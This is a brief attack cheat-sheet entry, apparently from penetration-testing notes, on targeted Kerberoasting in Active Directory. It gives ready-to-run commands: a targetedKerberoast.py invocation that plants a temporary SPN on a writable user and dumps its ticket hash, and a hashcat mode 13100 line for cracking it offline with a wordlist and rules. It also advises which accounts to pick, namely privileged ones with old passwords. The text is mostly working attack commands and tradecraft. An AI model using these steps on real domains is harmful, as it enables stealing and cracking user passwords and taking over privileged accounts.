Targeted Kerberoasting by writing an SPN

You do not need an existing service account. If you can write servicePrincipalName on a target user, add one, request the service ticket, crack it offline, then revert.

targetedKerberoast.py -v -d dom -u user -p pass
# sets a temporary SPN, requests the TGS, prints the hash, and cleans up

Crack the roastable hash.

hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule

Pro note: prioritize accounts with old pwdLastSet and privileged group membership; those are most likely to have weak, human-set passwords worth cracking. Roasting the whole domain fills your queue with uncrackable machine tickets, so enumerate first via LDAP.